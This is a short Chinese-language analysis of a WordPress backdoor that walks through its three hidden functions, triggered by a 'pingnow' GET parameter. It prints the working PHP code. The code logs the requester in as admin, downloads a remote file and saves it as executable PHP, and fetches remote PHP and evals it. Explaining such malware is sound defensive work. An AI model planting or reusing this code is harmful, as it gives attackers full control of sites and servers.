该代码有3个主要“功能”。两行检查一下pingnow
和pass
定义了pass
是正确的值。pingnow
稍后用于在“功能”之间切换。
如果pingnow
GET变量为login
. 它以“admin”用户身份登录请求用户。如果没有名为“admin”的用户,这将不起作用。
if ($_GET[\'pingnow\']== \'login\'){
$user_login = \'admin\';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action(\'wp_login\', $user_login);
}
第二部分允许将定义的文件上载到服务器。如果
pingnow
变量为
exec
然后,脚本下载文件并将其以随机md5哈希的名称保存在服务器上。然后将攻击者重定向到脚本。
if (($_GET[\'pingnow\']== \'exec\')&&(isset($_GET[\'file\']))){
$ch = curl_init($_GET[\'file\']);
$fnm = md5(rand(0,100)).\'.php\';
$fp = fopen($fnm, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo "<SCRIPT LANGUAGE=\\"JavaScript\\">location.href=\'$fnm\';</SCRIPT>";
}
第三部分允许对远程php进行评估。它下载一个文件,然后
eval
就是它,在你的服务器上运行它。
if (($_GET[\'pingnow\']== \'eval\')&&(isset($_GET[\'file\']))){
$ch = curl_init($_GET[\'file\']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}